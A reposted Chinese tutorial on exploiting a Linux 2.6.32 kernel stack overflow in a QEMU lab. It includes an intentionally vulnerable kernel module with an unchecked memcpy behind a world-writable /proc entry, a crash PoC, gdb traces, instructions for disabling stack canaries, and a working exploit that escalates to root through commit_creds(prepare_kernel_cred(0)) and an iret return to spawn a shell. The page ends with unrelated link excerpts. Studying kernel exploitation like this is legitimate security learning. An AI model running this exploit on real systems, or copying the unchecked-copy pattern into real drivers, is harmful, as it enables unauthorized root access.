Kernel Stack Overflow(转)
0x00 漏洞代码
stack_smashing.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
int bug2_write(struct file *file,const char *buf,unsigned long len)
{
char localbuf[8];
memcpy(localbuf,buf,len);
return len;
}
static int __init stack_smashing_init(void)
{
printk(KERN_ALERT "stack_smashing driver init!\n");
create_proc_entry("bug2",0666,0)->write_proc = bug2_write;
return 0;
}
static void __exit stack_smashing_exit(void)
{
printk(KERN_ALERT "stack_smashing driver exit!\n");
}
module_init(stack_smashing_init);
module_exit(stack_smashing_exit);
Makefile
obj-m := stack_smashing.o
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
和用户态的栈溢出原理一样,拷贝、拼接字符串的时候未作长度检查,导致覆盖栈上保存的返回地址,只后可以劫持程序流程,从而实现代码执行的效果。只不过这是在内核空间,可以直接用来提权。
将漏洞代码编译,将 stack_smashing.ko复制进/busybox-1.27.2/_install/usr/
0x01 poc
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(){
char buf[24] = {0};
memset(buf,"A",24);
*((void**)(buf + 20)) = 0x42424242;
int fd = open("/proc/bug2",O_WRONLY);
write(fd,buf,sizeof(buf));
}
可以看到payload结构很简单,直接就是buffer+eip。将poc编译复制到/busybox-1.27.2/_install/usr/
我们编译的kernel默认开启canary的,如果直接这么去运行POC,会直接kernel panic,无法利用,所以需要关闭canary选项,重新编译一个内核。编辑.config文件,注释掉CONFIG_CC_STACKPROTECTOR这一行,然后重新编译内核。
再运行qemu.
$ find . | cpio -o --format=newc > ../rootfs.img
$ qemu-system-i386 -kernel arch/i386/boot/bzImage -initrd ../busybox-1.27.2/rootfs.img -append "root=/dev/ram rdinit=/sbin/init"
由于stack_smashing模块并没有作为vmlinux的一部分传给gdb,因此必须通过某种方法把模块信息告知gdb,可以通过add-symbol-file命令把模块的详细信息告知gdb,由于模块也是一个elf文件,需要知道模块的.text、.bss、.data节区地址并通过add-symbol-file指定。由于stack_smashing模块没有bss和data节区所以只需要指定text即可。qemu中设置好gdbserver后,找到模块的.text段的地址
grep 0 /sys/module/stack_smashing/sections/.text

在主机的linux-2.6.32.1目录中用gdb连接:
(gdb) target remote :1234
Remote debugging using :1234
current_thread_info ()
at /home/hjy/Desktop/linux-2.6.32.1/arch/x86/include/asm/thread_info.h:186
186 /home/hjy/Desktop/linux-2.6.32.1/arch/x86/include/asm/thread_info.h: No such file or directory.
(gdb) add-symbol-file /home/hjy/Desktop/stack_smashing/stack_smashing.ko 0xc8830000
add symbol table from file "/home/hjy/Desktop/stack_smashing/stack_smashing.ko" at
.text_addr = 0xc8830000
(y or n) EOF [assumed Y]
Reading symbols from /home/hjy/Desktop/stack_smashing/stack_smashing.ko...done.
(gdb) b bug2_write
Breakpoint 1 at 0xc8830000: file /home/hjy/Desktop/stack_smashing/stack_smashing.c, line 6.
(gdb) c
Continuing.
qemu中运行poc之后,主机gdb命中断点:
Breakpoint 1, bug2_write (file=0xc78bd680,
buf=0xbfc95484 '(' <repeats 20 times>, "BBBB", len=24)
at /home/hjy/Desktop/stack_smashing/stack_smashing.c:6
6 {
(gdb) x/20i $eip
=> 0xc8830000 <bug2_write>: push %ebp
0xc8830001 <bug2_write+1>: mov %esp,%ebp
0xc8830003 <bug2_write+3>: push %edi
0xc8830004 <bug2_write+4>: push %esi
0xc8830005 <bug2_write+5>: sub $0x8,%esp
0xc8830008 <bug2_write+8>: nopl 0x0(%eax,%eax,1)
0xc883000d <bug2_write+13>: mov %ecx,%eax
0xc883000f <bug2_write+15>: mov %edx,%esi
0xc8830011 <bug2_write+17>: shr $0x2,%ecx
0xc8830014 <bug2_write+20>: lea -0x10(%ebp),%edi
0xc8830017 <bug2_write+23>: rep movsl %ds:(%esi),%es:(%edi)
0xc8830019 <bug2_write+25>: mov %eax,%ecx
0xc883001b <bug2_write+27>: and $0x3,%ecx
0xc883001e <bug2_write+30>: je 0xc8830022 <bug2_write+34>
0xc8830020 <bug2_write+32>: rep movsb %ds:(%esi),%es:(%edi)
0xc8830022 <bug2_write+34>: add $0x8,%esp
0xc8830025 <bug2_write+37>: pop %esi
0xc8830026 <bug2_write+38>: pop %edi
0xc8830027 <bug2_write+39>: pop %ebp
0xc8830028 <bug2_write+40>: ret
(gdb) break *bug2_write+40
Breakpoint 2 at 0xc8830028: file /home/hjy/Desktop/stack_smashing/stack_smashing.c, line 10.
(gdb) c
Continuing. Breakpoint 2, 0xc8830028 in bug2_write (file=<optimized out>,
buf=0xbfc95484 '(' <repeats 20 times>, "BBBB", len=24)
at /home/hjy/Desktop/stack_smashing/stack_smashing.c:10
10 }
(gdb) x/4wx $esp
0xc7865f30: 0x42424242 0x00000000 0x00000018 0xc7861ae0
(gdb)
可以看到如果继续执行,程序就会返回到预期的值0x42424242。
0x02 exploit
拿到shell的思路还是利用commit_creds(prepare_kernel_cred(0)),然后返回到用户模式,返回到用户模式执行iret指令。当使用iret指令返回到相同保护级别的任务时,iret会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器,并弹出标志寄存器内容到EFLAGS寄存器。当使用iret指令返回到一个不同的保护级别时,iret不仅会从堆栈弹出以上内容,还会弹出堆栈段选择子及堆栈指针分别到SS与SP寄存器。栈上保存了trap frame,返回到用户模式的时候恢复信息从以下结构读取。
struct trap_frame {
void *eip; // instruction pointer +0
uint32_t cs; // code segment +4
uint32_t eflags; // CPU flags +8
void *esp; // stack pointer +12
uint32_t ss; // stack segment +16
} __attribute__((packed));
在qemu中获得两个函数的地址:

exploit代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h> struct trap_frame {
void *eip;
uint32_t cs;
uint32_t eflags;
void *esp;
uint32_t ss;
}__attribute__((packed)); struct trap_frame tf; void get_shell(void)
{
execl("/bin/sh", "sh", NULL);
} void init_tf_work(void)
{
asm("pushl %cs; popl tf+4;" // set cs
"pushfl; popl tf+8;" // set eflags
"pushl %esp; popl tf+12;"
"pushl %ss; popl tf+16;");
tf.eip = &get_shell;
tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xc1067d20;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xc1067b80; void payload(void)
{
commit_creds(prepare_kernel_cred(0));
asm("mov $tf, %esp;"
"iret;");
} int main(void)
{
char buf[24];
memset(buf, 'A', 24);
*((void **)(buf+20)) = &payload; // set eip to payload
init_tf_work();
int fd = open("/proc/bug2", O_WRONLY);
// exploit
write(fd, buf, sizeof(buf));
return 0;
}
将 exploit编译放入/busybox-1.27.2/_install/usr/中,再启动qemu运行exploit。(在运行exp之前先adduser一个用户)

成功获取root!
0x03 参考链接
Kernel Stack Overflow(转)的更多相关文章
- [轉]Exploit Linux Kernel Slub Overflow
Exploit Linux Kernel Slub Overflow By wzt 一.前言 最近几年关于kernel exploit的研究比较热门,常见的内核提权漏洞大致可以分为几类: 空指针引用, ...
- Stack Overflow 排错翻译 - Closing AlertDialog.Builder in Android -Android环境中关闭AlertDialog.Builder
Stack Overflow 排错翻译 - Closing AlertDialog.Builder in Android -Android环境中关闭AlertDialog.Builder 转自:ht ...
- Stack Overflow: The Architecture - 2016 Edition(Translation)
原文: https://nickcraver.com/blog/2016/02/17/stack-overflow-the-architecture-2016-edition/ 作者:Nick Cra ...
- Stack Overflow: The Architecture - 2016 Edition
To get an idea of what all of this stuff “does,” let me start off with an update on the average day ...
- Stack Overflow is a question and answer site
http://stackoverflow.com/ _ Stack Overflow is a question and answer site for professional and enthus ...
- stack overflow错误分析
stack overflow(堆栈溢出)就是不顾堆栈中分配的局部数据块大小,向该数据块写入了过多的数据,导致数据越界,结果覆盖了老的堆栈数据. 或者解释为 在长字符串中嵌入一段代码,并将过程的返回地址 ...
- 推荐一个网站Stack Overflow
网站URL:http://stackoverflow.com 我是怎么知道这个网站的呢?其实这个网站非常出名的,相信许多人都知道.如果你不知道,请继续阅读: 一次我在CSDN上面提问,但是想要再问多几 ...
- Stack Overflow 2016最新架构探秘
这篇文章主要揭秘 Stack Overflow 截止到 2016 年的技术架构. 首先给出一个直观的数据,让大家有个初步的印象. 相比于 2013 年 11 月,Stack Overflow 在 20 ...
- IE中出现 "Stack overflow at line" 错误的解决方法
在做网站时遇到一个问题,网站用的以前的程序,在没有改过什么程序的情况下,页面总是提示Stack overflow at line 0的错误,而以前的网站都正常没有出现过这种情况,在网上找了一下解决办法 ...
随机推荐
- spring boot 使用Schedule创建轻量级定时任务
Scheduled SpringBoot配置定时任务可以直接使用自带的Scheduled,这相当于一个轻量级的Quartz,它可以让我们直接使用注解来完成定时任务的配置. Scheduled调度时间设 ...
- plt
设定X,Y轴的长度以及刻度的方法. import numpy as np import matplotlib.pyplot as plt data = np.arange(0,1.1,0.01) pl ...
- C 语言实例 - 字符串翻转
C 语言实例 - 字符串翻转 C 语言实例 C 语言实例 使用递归来翻转字符串. 实例 - 字符串翻转 #include <stdio.h> void reverseSentence(); ...
- iOS 7:漫谈#define 宏定义
#define宏定义在C系开发中可以说占有举足轻重的作用.底层框架自不必说,为了编译优化和方便,以及跨平台能力,宏被大量使用,可以说底层开发离开define将寸步难行.而在更高层级进行开 ...
- html中id name class的区别(转)
HTML 中 id与name 区别 一个name可以同时对应多个控件,比如checkbox和radio 而id必须是全文档中唯一的 id的用途 1) id是HTML元素的Identity,主要是在客户 ...
- java数据结构----哈希表
1.哈希表:它是一种数据结构,可以提供快速的插入操作和查找操作.如果哈希表中有多少数据项,插入和删除操作只需要接近常量的时间.即O(1)的时间级.在计算机中如果需要一秒内查找上千条记录,通常使用哈希表 ...
- javascript高级程序设计学习笔记
javascript高级程序设计,当枕头书已经好久了~zz 现在觉得自己在js的开发上遇到了一些瓶颈,归根究底还是基础太薄弱,所以重新刷一遍js高程希望有更新的认识. 一.javascript简介 ...
- C# 面向对象之继承后初始化顺序
使用继承之后当我们初始化一个子类时子类的初始化顺序为: (1)初始化类的实例字段 (2)调用基类的构造函数,如果没有指明基类则调用System.Object的构造函数; (3)调用子类的构造函数
- ZJOI2017 day2 T2 线段树 想法题
考完D2发现自己简直zz了...花式扔基本分 首先这道题有个显然的套路:树上一些点到一个定点的距离和=这些点深度和+点数*定点深度和-2*lca深度和 ——上一次见这个套路是LNOI2014,上次做的 ...
- centos7版本对比之前版本的部分命令差异
centos7版本下的命令和之前的centos版本的命令有些许不同,最近在电脑上用VBox安装了一个centos7版本.在做一些网卡配置和安装mysql的时候遇到了一些问题.在这里总结跟大家分享下. ...